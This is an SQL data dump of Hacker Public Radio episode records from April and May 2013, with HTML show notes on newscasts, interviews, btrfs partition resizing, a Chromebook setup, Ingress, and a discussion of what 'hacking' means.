(1226,'2013-04-15','TGTM Newscast for 2013-04-09 DeepGeek &amp; Pokey',1086,'A newscast from Talk Geek to Me','<!-- Rule #3 Scheduled Slots -->\r\n\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.democracynow.org/2013/4/2/headlines#4216\">British Forces Recount Abuses at Secret U.S. Prison in Iraq </a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/news/8462\">Election Campaigning Officially Begins in Venezuela, Micro-Missions Announced</a>\r\n\r\n</li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1620\">The BRICS Bank and World Dominance: How Real Is This?</a>\r\n</li>\r\n<li><a href=\"https://www.iww.org/en/content/star-tickets-worker-files-unfair-labor-charge\">Star Tickets Worker Files Unfair Labor Charge</a>\r\n</li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/04/04/fast-food-workers-stage-surprise-strike-in-new-york-city/\">Fast food workers stage surprise strike in New York City</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/4/2/headlines#4211\">Judge Rules Reselling of Digital Music Is Copyright Infringement </a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/swedish-police-promise-more-resources-to-catch-file-sharers-130404/\">Swedish Police Promise More Resources to Catch File-Sharers</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/the-pirate-bay-becomes-1-file-sharing-site-cyberlockers-collapse-130330/\">The Pirate Bay Becomes #1 File-Sharing Site as Cyberlockers Collapse</a>\r\n\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130403/18154622566/ftc-awards-50000-prize-ideas-killing-robocalls.shtml\">FTC Awards $50,000 Prize For Ideas On Killing Robocalls</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130402/02421422545/can-commercial-vpns-really-protect-your-privacy.shtml\">Can Commercial VPNs Really Protect Your Privacy?</a>\r\n</li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.newsoficeland.com/home/politics/parliamentministries/item/959-rip-our-new-constitution-written-by-the-nation-for-the-nation\">\"RIP our new constitution - Written by the nation, for the nation\" </a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/4/2/headlines#428\">Official Tally of Guantánamo Prisoners on Hunger Strike Continues to Rise </a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8460\">Interview with Nicolas Maduro: \"Until the Last Day, Chavez Wanted to Live\"</a>\r\n\r\n</li>\r\n<li><a href=\"https://inthesetimes.com/article/14708/how_capitalism_conquered_the_internet/\">How Capitalism Conquered the Internet-And how we can take it back.</a>\r\n</li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/04/04/massive-leak-of-emails-and-records-reveal-identities-of-rich-politicos-who-hide-wealth-in-offshore-accounts/\">Massive leak of emails and records reveals identities of rich politicos who hide wealth in offshore accounts</a>\r\n</li></ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p><p>\r\nNews from \"techdirt.com,\" \"iww.org,\"&nbsp; and\r\n\"rawstory.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"The South African Civil Society Information Service (www.sacsis.org.za)\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n\r\n<p>News from \"venezuelanalysis.com,\" and \"democracynow.org,\"&nbsp; used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>links</h2>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/4/2/headlines#4216\">https://www.democracynow.org/2013/4/2/headlines#4216</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/news/8462\">https://venezuelanalysis.com/news/8462</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1620\">https://sacsis.org.za/site/article/1620</a></li>\r\n<li><a href=\"https://www.iww.org/en/content/star-tickets-worker-files-unfair-labor-charge\">https://www.iww.org/en/content/star-tickets-worker-files-unfair-labor-charge</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/04/04/fast-food-workers-stage-surprise-strike-in-new-york-city/\">https://www.rawstory.com/rs/2013/04/04/fast-food-workers-stage-surprise-strike-in-new-york-city/</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/4/2/headlines#4211\">https://www.democracynow.org/2013/4/2/headlines#4211</a></li>\r\n<li><a href=\"https://torrentfreak.com/swedish-police-promise-more-resources-to-catch-file-sharers-130404/\">https://torrentfreak.com/swedish-police-promise-more-resources-to-catch-file-sharers-130404/</a></li>\r\n<li><a href=\"https://torrentfreak.com/the-pirate-bay-becomes-1-file-sharing-site-cyberlockers-collapse-130330/\">https://torrentfreak.com/the-pirate-bay-becomes-1-file-sharing-site-cyberlockers-collapse-130330/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130403/18154622566/ftc-awards-50000-prize-ideas-killing-robocalls.shtml\">https://www.techdirt.com/articles/20130403/18154622566/ftc-awards-50000-prize-ideas-killing-robocalls.shtml</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130402/02421422545/can-commercial-vpns-really-protect-your-privacy.shtml\">https://www.techdirt.com/articles/20130402/02421422545/can-commercial-vpns-really-protect-your-privacy.shtml</a></li>\r\n<li><a href=\"https://www.newsoficeland.com/home/politics/parliamentministries/item/959-rip-our-new-constitution-written-by-the-nation-for-the-nation\">https://www.newsoficeland.com/home/politics/parliamentministries/item/959-rip-our-new-constitution-written-by-the-nation-for-the-nation</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/4/2/headlines#428\">https://www.democracynow.org/2013/4/2/headlines#428</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/8460\">https://venezuelanalysis.com/analysis/8460</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14708/how_capitalism_conquered_the_internet/\">https://inthesetimes.com/article/14708/how_capitalism_conquered_the_internet/</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/04/04/massive-leak-of-emails-and-records-reveal-identities-of-rich-politicos-who-hide-wealth-in-offshore-accounts/\">https://www.rawstory.com/rs/2013/04/04/massive-leak-of-emails-and-records-reveal-identities-of-rich-politicos-who-hide-wealth-in-offshore-accounts/</a></li>\r\n\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1740,1),
(1227,'2013-04-16','Not-A-Con interview',927,'Mordancy interviews Froggy, the founder of Not-A-Con','<!--\r\nReleased under rule #1: Time critical. Explicit permission for to prioritize this show was sought and given by members of the mail list and those ahead in the queue.\r\n-->\r\n<p>\r\nThis is an interview with Froggy, the founder of Not-A-Con, It was recorded at Ba-Con in Columbus last summer.\r\n</p>\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.notacon.org/\">https://www.notacon.org/</a>\r\n</li>\r\n<li><a href=\"https://www.nerdsnook.com/\">https://www.nerdsnook.com/</a>\r\n</li>\r\n</ul>',200,78,0,'CC-BY-SA','Not-A-Con, Convention, PixelJam',0,1782,1),
(1228,'2013-04-17','Utilizing Maximum Space on a Cloned BTRFS Partition',1001,'Using the Btrfs Utility to make use of the entirety of a cloned disk','<!--\r\nScheduled with permission from the Mailing list as these shows were submitted under the old first-in-first-out rules.\r\n-->\r\n\r\n<h2>Utilizing Maximum Space on a Cloned BTRFS Partition</h2>\r\n<h3>by FiftyOneFifty</h3>\r\n\r\n<ol>\r\n    <li>If you clone a disk to a disk, Clonezilla will increase (decrease) the size of each partition proportional to the relative size of the drives.\r\n	<ol>\r\n	<li>I wanted to keep my / the same size and have no swap (new drive was SSD), so I did a partition to partition clone instead</li>\r\n	<li>Created partitions on the new SSDs with a GParted Live CD, 12Gb root (Ext4) and the remainder for /home, (btrfs, because I planned to move to SSD from the start, and last summer only btrfs supported TRIM)</li>\r\n	</ol>\r\n    </li>\r\n    <li>After cloning /dev/sda1 to /dev/sdb1 and /dev/sda2 to /dev/sdb2 using Clonezilla, I inspected the new volumes with the GParted Live CD\r\n	<ol>\r\n	    <li>/dev/sdb2 had 40% inaccessible space, i.e., the usable space was the same size as the old /home volume</li>\r\n	    <li>GParted flagged the error and said I could correct it from the menu (Partition-&gt;Check) but btrfs doesn\'t support fsck, so it didn\'t work</li>\r\n	    <li>Tried shrinking the volume in GParted and re-expanding it to take up the free space, also didn\'t work.</li>\r\n	</ol>\r\n    </li>\r\n    <li>Discovered \'btrfs utility\' and that it was supported by the GParted Live CD\r\n	<ol>\r\n	    <li>Make a mount point\r\n		<ul>\r\n		    <li><code>sudo mkdir /media/btrfs</code></li>\r\n		</ul>\r\n	    </li>\r\n	    <li>Mount the btrfs volume\r\n		<ul>\r\n		    <li><code>sudo mount /dev/sdb2 /media/btrfs</code></li>\r\n		</ul>\r\n	    </li>\r\n	    <li>Use btrfs utility to expand the btrfs file system to the maximum size of the volume\r\n		<ul>\r\n		    <li><code>sudo btrfs filesystem resize max /media/btrfs</code></li>\r\n		</ul>\r\n	    </li>\r\n	    <li>Unmount the btrfs volume\r\n		<ul>\r\n		    <li><code>sudo umount /dev/sdb2</code></li>\r\n		</ul>\r\n	    </li>\r\n	</ol>\r\n    </li>\r\n    <li>Rechecked /dev/sdb2 with GParted, I no longer had inaccessible space</li>\r\n</ol>\r\n',131,0,1,'CC-BY-SA','Btrfs,CloneZilla,\"Btrfs Utility\"',0,1790,1),
(1229,'2013-04-18','Chromebook Acer C7 Review',663,'New host Helvetin tells us about his Chromebook Acer C7','<!-- \r\nbumped up as Helvetin is a new host and therefore has the longest release time\r\n182	2012-10-24	Epicanis <epicanis+hpr.nospam@nospam.dogphilosophy.net>\r\n185	2012-10-31	Mike Hingley <computa_mike.nospam@nospam.hotmail.com>\r\n115	2012-11-28	sigflup <pantsbutt.nospam@nospam.gmail.com>\r\n73	2012-12-28	deepgeek <hpr.nospam@nospam.deepgeek.us >\r\n214	2013-01-24	Nido Media <nido.nospam@nospam.foxserver.be>\r\n229	2013-02-21	Charles in NJ <catintp.nospam@nospam.yahoo.com>\r\n198	2013-02-22	Ahuka <zwilnik.nospam@nospam.zwilnik.com>\r\n238	2013-03-05	Jon Kulp <jonlancekulp.nospam@nospam.gmail.com>\r\n78	2013-03-19	klaatu <klaatu.nospam@nospam.hackerpublicradio.org>\r\n235	2013-03-22	NYbill <nybill.nospam@nospam.gunmonkeynet.net>\r\n-->\r\n<p>\r\nI got into Linux after listening to lots of podcasts during my work commute and I am one of those non-technical people listening that after lots of worrying finally installed Ubuntu and found out that it works pretty easily. A few month ago I got a raspberry pi and played with its Arch Linux version and very recently got the Acer C7 Chromebook and immediately put Chrubuntu on it, which is also how I am recording this.\r\n</p>\r\n<p>\r\nSo here is my strange problem. I currently have a Swiss-German keyboard layout at work, at the previous job I had an standard US keyboard and I am pretty sure that this chromebook has a UK keyboard. So I needed to find a really fast way to switch at first the UK keyboard layout to the Swissgerman layout and then also have a change to change to the US keyboard easily, because it happens ... you may believe it or not ... that some things I just know where they are in the US layout better than the Swiss layout and vice versa.\r\n</p>\r\n<p>\r\nThis is not really a problem if you stick with Unity. You go to System Settings, Keyboard Layout and add the relevant. Where are those System settings now? \r\n</p>\r\n<p>\r\nsetxkbmap is the command. In /usr/share/X11/xkb/rules I found all the layouts (ch for Swiss and us for American layout). I added the option to toggle between ch and us by click both shift keys. So the full command as alias is Swiss=\'setxkbmap -option \'grp:shifts_toggle\' \'ch,us\'\'. To not write the entire thing you can add this as a alias in .bashrc or probably put somewhere in a startup file, so you don\'t have to worry about it.\r\n</p>\r\n<p>\r\nFurther configurations and installations:\r\n</p>\r\n\r\n<ul>\r\n<li>To enable the 2nd screen use command: xrandr --output HDMI1 --auto --right-of LVDS1\r\n</li>\r\n<li>Change hostname by editing nano /etc/hostname (by default it is Chrubuntu)\r\n</li>\r\n<li>Install cmatrix just for fun\r\n</li>\r\n<li>Installations: Desktop Environment openbox, lxde, i3 just to play around - Terminator as terminal emulation - ranger as file manager - s3cmd for offsite backup, although dropbox and spideroak work too (s3cmd works also on raspberry pi) - encryption with encfs and truecrypt\r\n<p></p>\r\n</li>\r\n</ul>',244,0,1,'CC-BY-SA','Chromebook, New Host',0,1887,1),
(1230,'2013-04-19','Google How Could You',758,'About Stephanie Chute, an Android developer whose Google Play account was wrongfully closed','<!--\r\nRequested under Rule 1 but as neodragon\'s last show was on \"2012-03-20\".\r\n\r\nLast release time of show hosts:\r\n182	2012-10-24	Epicanis <epicanis+hpr.nospam@nospam.dogphilosophy.net>\r\n185	2012-10-31	Mike Hingley <computa_mike.nospam@nospam.hotmail.com>\r\n115	2012-11-28	sigflup <pantsbutt.nospam@nospam.gmail.com>\r\n73	2012-12-28	deepgeek <hpr.nospam@nospam.deepgeek.us >\r\n158	2013-01-09	Various Creative Commons Works <host158@hackerpublicradio.org>\r\n214	2013-01-24	Nido Media <nido.nospam@nospam.foxserver.be>\r\n229	2013-02-21	Charles in NJ <catintp.nospam@nospam.yahoo.com>\r\n198	2013-02-22	Ahuka <zwilnik.nospam@nospam.zwilnik.com>\r\n238	2013-03-05	Jon Kulp <jonlancekulp.nospam@nospam.gmail.com>\r\n195	2013-03-07	Frank Bell <frank.nospam@nospam.pineviewfarm.net>\r\n78	2013-03-19	klaatu <klaatu.nospam@nospam.hackerpublicradio.org>\r\n235	2013-03-22	NYbill <nybill.nospam@nospam.gunmonkeynet.net>\r\n30	2013-04-01	Ken Fallon <ken.fallon.nospam@nospam.gmail.com>\r\n\r\nTherefore he would get to the top of the queue anyway. The only show\r\naffected by this request is TGTM News who have already released this\r\nweek on Monday, due to getting bumped the previous week.\r\n\r\nDeepGeek has given permission to put it out ahead of his\r\n\r\n-->\r\n\r\n<p>\r\nIn this episode I talk about Stephanie Chute, an Android developer whose Google Play account was wrongfully pulled recently by Google. I also encourage others to reach out to Google to right this injustice.\r\n</p>\r\n<p>\r\nContact info:\r\n</p>\r\n<pre>\r\nIRC:\r\n   Nick:    neodragon \r\n   Channel: #oggcastplanet\r\n   Server:  irc.freenode.net \r\n(Minor correction here, in the audio I said .org instead of .net) \r\n\r\nGoogle+: Mathew Stahl\r\n\r\nTwitter: neodragon34\r\n</pre>\r\n\r\n<h2>links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://thedroideffect.com/when-google-betrays-you/\">https://thedroideffect.com/when-google-betrays-you/</a>\r\n<!--\r\nhtts://web.archive.org/web/20130420073055/https://thedroideffect.com/when-google-betrays-you/r\r\n-->\r\n</li>\r\n<li><a href=\"https://www.google.com/contact/\">https://www.google.com/contact/</a>\r\n</li>\r\n<li>Google+: <a href=\"https://plus.google.com/109406131217887439929/posts\">https://plus.google.com/109406131217887439929/posts</a>\r\n</li>\r\n<li>Twitter: <a href=\"https://twitter.com/Neodragon34\">https://twitter.com/Neodragon34</a>\r\n</li>\r\n</ul>\r\n',210,0,1,'CC-BY-SA','Show notes, Google, Google Play Store, Android Development, Android, Programming',0,2066,1),
(1231,'2013-04-22','TGTM Newscast for 2013-04-16 Bobobex',1101,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/4/9/headlines#492\">Storage\r\nPits Leaking at Embattled Fukushima Nuclear Plant </a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/4/11/headlines#4117\">Military\r\nCourt Raises Burden for Manning Prosecutors; Internet, Phone Access\r\nCurbed </a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.rawstory.com/rs/2013/04/13/guantanamo-hunger-strikers-in-lockdown-after-secret-pre-dawn-cell-raid/\">Guantanamo\r\nhunger strikers in lockdown after secret, pre-dawn cell raid</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/where-is-the-money-going/wall-street-hides-from-regulators-in-dark-pools-130413?news=849729\">Wall\r\nStreet Hides from Regulators in “Dark Pools”</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=91140\">Uruguay Adopts\r\nSame-Sex Marriage Law</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/new-pirate-bay-greenland-domains-about-to-be-seized-130410/\">New\r\nPirate Bay Greenland Domains (About to be) Seized</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/file-sharers-will-not-be-held-liable-for-piracy-russia-says-130408/\">File-Sharers\r\nWill Not Be Held Liable For Piracy, Russia Says</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/press/releases/can-police-read-text-messages-without-warrant\">Can\r\nPolice Read Text Messages Without a Warrant?</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/04/huffington-post-credits-internet-activists-major-victory-stopping-bad-cfaa-bill\">Huffington\r\nPost Credits Internet Activists With \"Major Victory\" In Stopping Bad\r\nCFAA Bill, But Good Reforms Still Needed</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130405/09581422597/police-search-mugger-3-weeks-internet-finds-him-hour.shtml\">Police\r\nSearch For Mugger For 3 Weeks, Internet Finds Him In An Hour</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://dissenter.firedoglake.com/2013/04/07/icelandic-mp-birgitta-jonsdottir-during-visit-describes-being-targeted-by-us-government/\">Icelandic\r\nMP Birgitta Jonsdottir, During Visit, Describes Being Targeted by US\r\nGovernment</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.opednews.com/articles/Birgitta-Jonsdottir-Cyber-by-Marianne-Hoynes-130407-928.html\">Birgitta\r\nJonsdottir: Cyber Poet</a>\r\n</li>\r\n<li><a\r\nhref=\"https://whowhatwhy.com/2013/04/05/rfk-assassination-legal-case-update/\">RFK\r\nAssassination Legal Case Update</a>\r\n</li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1632\">WikiLeaks\r\nStrikes Again: Website Publishes 1.7 Million Documents on US Foreign\r\nPolicy</a>\r\n</li>\r\n<li><a\r\nhref=\"https://news.infoshop.org/article.php?story=20130412153809606\">Athens\r\nIndymedia has been shut down – Repression in Greece ensues</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"rawstory.com,\"&nbsp; \"havanatimes.org,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org,\" used under permission of the Creative\r\nCommons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.democracynow.org/2013/4/9/headlines#492\">https://www.democracynow.org/2013/4/9/headlines#492</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/4/11/headlines#4117\">https://www.democracynow.org/2013/4/11/headlines#4117</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/04/13/guantanamo-hunger-strikers-in-lockdown-after-secret-pre-dawn-cell-raid/\">https://www.rawstory.com/rs/2013/04/13/guantanamo-hunger-strikers-in-lockdown-after-secret-pre-dawn-cell-raid/</a></li>\r\n<li><a href=\"https://www.allgov.com/news/where-is-the-money-going/wall-street-hides-from-regulators-in-dark-pools-130413?news=849729\">https://www.allgov.com/news/where-is-the-money-going/wall-street-hides-from-regulators-in-dark-pools-130413?news=849729</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=91140\">https://www.havanatimes.org/?p=91140</a></li>\r\n<li><a href=\"https://torrentfreak.com/new-pirate-bay-greenland-domains-about-to-be-seized-130410/\">https://torrentfreak.com/new-pirate-bay-greenland-domains-about-to-be-seized-130410/</a></li>\r\n<li><a href=\"https://torrentfreak.com/file-sharers-will-not-be-held-liable-for-piracy-russia-says-130408/\">https://torrentfreak.com/file-sharers-will-not-be-held-liable-for-piracy-russia-says-130408/</a></li>\r\n<li><a href=\"https://www.eff.org/press/releases/can-police-read-text-messages-without-warrant\">https://www.eff.org/press/releases/can-police-read-text-messages-without-warrant</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/04/huffington-post-credits-internet-activists-major-victory-stopping-bad-cfaa-bill\">https://www.eff.org/deeplinks/2013/04/huffington-post-credits-internet-activists-major-victory-stopping-bad-cfaa-bill</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130405/09581422597/police-search-mugger-3-weeks-internet-finds-him-hour.shtml\">https://www.techdirt.com/articles/20130405/09581422597/police-search-mugger-3-weeks-internet-finds-him-hour.shtml</a></li>\r\n<li><a href=\"https://dissenter.firedoglake.com/2013/04/07/icelandic-mp-birgitta-jonsdottir-during-visit-describes-being-targeted-by-us-government/\">https://dissenter.firedoglake.com/2013/04/07/icelandic-mp-birgitta-jonsdottir-during-visit-describes-being-targeted-by-us-government/</a></li>\r\n<li><a href=\"https://www.opednews.com/articles/Birgitta-Jonsdottir-Cyber-by-Marianne-Hoynes-130407-928.html\">https://www.opednews.com/articles/Birgitta-Jonsdottir-Cyber-by-Marianne-Hoynes-130407-928.html</a></li>\r\n<li><a href=\"https://whowhatwhy.com/2013/04/05/rfk-assassination-legal-case-update/\">https://whowhatwhy.com/2013/04/05/rfk-assassination-legal-case-update/</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1632\">https://sacsis.org.za/site/article/1632</a></li>\r\n<li><a href=\"https://news.infoshop.org/article.php?story=20130412153809606\">https://news.infoshop.org/article.php?story=20130412153809606</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1699,1),
(1232,'2013-04-23','LiTS 028: extended attributes',1490,'List and change extended file attributes with lsattr and chattr','Episode 28 of Linux in the Shell talks about extended attributes and how \r\nto view them with lsattr and change them with chattr. Attributes are \r\ndiscussed in some detail and those that are mutable by chattr are noted.\r\n<br />\r\n<a href=\"https://www.linuxintheshell.com/2013/04/23/episode-028-extended-attributes-lsattr-and-chattr/\">https://www.linuxintheshell.com/2013/04/23/episode-028-extended-attributes-lsattr-and-chattr/</a>\r\n',7,67,1,'CC-BY-SA','extended attributes,lsattr,chattr',0,2567,1),
(1233,'2013-04-24','Playing Ingress',3157,'Epicanis discusses playing Ingress, Google\'s new location-based capture-the-flag game in beta.','<p>This is the first of two or maybe three parts on the subject on Ingress,\r\n which was released into invitation-only beta-testing by Google in November of 2012.</p>\r\n<p><a href=\"https://www.ingress.com\" title=\"Ingress\">Ingress</a> is a \r\nworld-spanning location-based game set in a world somewhere between the real one \r\nand a fictional one that is almost exactly like the real one except with space-alien \r\nmind control conspiracies.</p>\r\n<p>This episode is purely about \"playing the game\". The follow-up episode will be \r\nmore about the underlying technology and things you (and Google) might be able to do \r\nwith it besides the core gameplay.</p>\r\n<p>There may be a third part if there is enough interest.</p>\r\n<p>A final note - the app version that I mention in the show was upgraded\r\nliterally about 5 minutes after I finished editing and started to prepare this\r\nshow for upload. (And, yes, I\'m using \"literally\" correctly - I mean I finished\r\nexporting the file from audacity, went to check Google+, and within 300 seconds\r\nsomeone was mentioning that a new version was out).  It does seem to resolve\r\nsome of the problems I mentioned, just as I speculated that it might. I\'ll \r\nfollow up on this and any subsequent updates in the followup episode.</p>\r\n<p>Comments and suggestions and demands for more episodes are welcome, nay, \r\n<b>encouraged</b> either on this episode\'s comments at hackerpublicradio.org\r\nor on my own blog at https://hpr.dogphilosophy.net . Thanks for listening!</p>\r\n',182,0,1,'CC-BY-SA','Ingress, Google, Gaming, Mobile, Geolocation, Mind-control',0,1919,1),
(1234,'2013-04-25','fightcodegame.com',210,'Mike Hingley highlights a useful site for getting to grips with Javascript.','<h1>fightcodegame.com</h1>\r\n<p>\r\nIn this episode Mike Hingley highlights a potentially useful website\r\nfor those learning Javascript - Fightcodegame.com uses github\r\nautehtication, and provides an arena where virtual robots can battle\r\nfor ultimate supremacy.\r\n</p>\r\n<p>fightcodegame.com: <a href=\"https://fightcodegame.com/\">https://fightcodegame.com/</a></p>\r\n<p>Mike Hingley\'s fightcodegame.com profile: <a href=\"https://fightcodegame.com/profile/computamike/\">https://fightcodegame.com/profile/computamike/</a></p>\r\n',185,0,0,'CC-BY-SA','Javascript, web sites',0,1762,1),
(1235,'2013-04-26','Talk Cyberpunk To Me',613,'A wearable computer constructed from a Raspberry Pi','<p>\r\nSigflup talks about her wearable computer constructed from a raspberry pi. She also releases a terminal emulator meant for wearable computers with low-res displays.\r\n</p>\r\n\r\n<p>\r\n<img src=\"https://www.theadesilva.com/cyborg.jpg\"><br/><a href=\"https://www.theadesilva.com/cyborg.jpg\">https://www.theadesilva.com/cyborg.jpg</a>\r\n</p>\r\n<p>\r\n<img src=\"https://www.theadesilva.com/cyborg2.jpg\"><br/><a href=\"https://www.theadesilva.com/cyborg2.jpg\">https://www.theadesilva.com/cyborg2.jpg</a>\r\n</p>\r\n<p>\r\n<a href=\"https://www.theadesilva.com/vt3.tgz\">https://www.theadesilva.com/vt3.tgz</a>\r\n</p>\r\n\r\n',115,0,0,'CC-BY-SA','\"raspberry pi\",myvu,cyberpunk,\"wearable computer\"',0,2156,1),
(1236,'2013-04-29','Lament For httpd',428,'Moving away from the <em>thttpd</em> web server','<p>\r\nDeepGeek gets all emotional about changing web servers at his web\r\nco-op. \"Hell, it\'s just a tool.\" Not for DeepGeek, who equates moving\r\naway from thttpd to the closing of an era! To him, \"slick design\" can\r\ntake a backseat to feelings of camaraderie from your fellows on the\r\nintwebz any day of the week!\r\n</p>\r\n<p>\r\nA few well-placed links...\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.links.id.au/150/90s-web-design--a-nostalgic-look-back.html\">https://www.links.id.au/150/90s-web-design--a-nostalgic-look-back.html</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Thttpd\">https://en.wikipedia.org/wiki/Thttpd</a>\r\n</li>\r\n<li><a href=\"https://acme.com/software/thttpd/benchmarks.html\">https://acme.com/software/thttpd/benchmarks.html</a>\r\n</li>\r\n<li><a href=\"https://www.hiawatha-webserver.org/\">https://www.hiawatha-webserver.org/</a>\r\n</li>\r\n</ul>\r\n',73,0,1,'CC-BY-SA','\"web server\",thttpd',0,1829,1),
(1237,'2013-04-30','Cory Doctorow tribute to Aaron Swartz',3887,'A commemoration of the late Aaron Swartz','<p>\r\nToday is a special show to commemorate the passing of Aaron Swartz. Thanks to Thomas Gideon for publishing and allowing us to retransmit this audio.\r\n</p>\r\n\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://thecommandline.net/2013/03/13/doctorow_homeland/\">https://thecommandline.net/2013/03/13/doctorow_homeland/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Aaron_Swartz\">https://en.wikipedia.org/wiki/Aaron_Swartz</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cory_Doctorow\">https://en.wikipedia.org/wiki/Cory_Doctorow</a></li>\r\n<li><a href=\"https://boingboing.net/2013/01/12/rip-aaron-swartz.html\">https://boingboing.net/2013/01/12/rip-aaron-swartz.html</a></li>\r\n<li><a href=\"https://craphound.com/littlebrother/\">https://craphound.com/littlebrother/</a></li>\r\n</ul>\r\n',158,0,0,'CC-BY-SA','\"Aaron Swartz\",thecommandline.net,\"Cory Doctorow\"',0,1906,1),
(1238,'2013-05-01','Word processors are overrated',603,'The typical tools people use to write a text, are often the wrong tools.','<p>\r\nWord processors are overrated. Too often they are used instead of better\r\nalternatives. For example: to write a report, to describe a workflow\r\nor a vision, a lot of people just grab Microsoft Word. Which is a bad\r\nidea. Should you use LibreOffice Writer then? OpenOffice? Maybe Google\r\ndocs? They are not much better.\r\n</p>\r\n<p>\r\nIf the focus of your text is on its content, if the structure of your\r\ntext is important, if the way the text is laid out is less important\r\nthan the consistency of the lay-out, or if you want to collaborate with\r\nother people, you should not use a typical mainstream word processor.\r\n</p>\r\n<p>\r\nRead more on my blog <a href=\"https://www.johanv.org/node/204\">https://www.johanv.org/node/204</a>\r\n</p>',233,0,0,'CC-BY-SA','file formats,writing,markdown',0,1967,1),
(1239,'2013-05-02','HPR Saturday Sessions: What is hacking?',6580,'Saturday Sessions, Hackers, Hacking, Culture, Media','<p>\nNido is joined by dude-man, Epicanis, and artv61 to \ndiscuss how one could or should define \"Hacker\" and \"Hacking\", particularly in \nreference to the \"Hackers\" that Hacker Public Radio episodes are intended to be\n\"of interest to\". Unfortunately, all participants seemed to be largely in\nagreement with each other, so there isn\'t enough contention to make the \ndiscussion dramatic. Listeners may find the discussion insightful anyway,\nand we do come up with some suggestions and ultimately encourage everyone to\nbe a lot more public about using the words \"hacker\" and \"hacking\" as\nmuch as possible outside the context of criminal and computer-programming\nactivity until outdated dictionaries finally update their definitions.</p>\n\n<p>Although Nido deserves the credit for Saturday Sessions, recording, cleanup, \nand editing of today\'s session was done by Epicanis, so if the sound sucks\nit\'s all his fault and not Nido\'s.  Same goes for these show notes.</p>\n<p>The XKCD comic that was mentioned may be found here: \n<a href=\"https://xkcd.com/242/\">https://xkcd.com/242/</a>.</p>',214,0,1,'CC-BY-SA','Saturday Sessions, Hackers, Hacking, Culture, Media',0,1941,1),
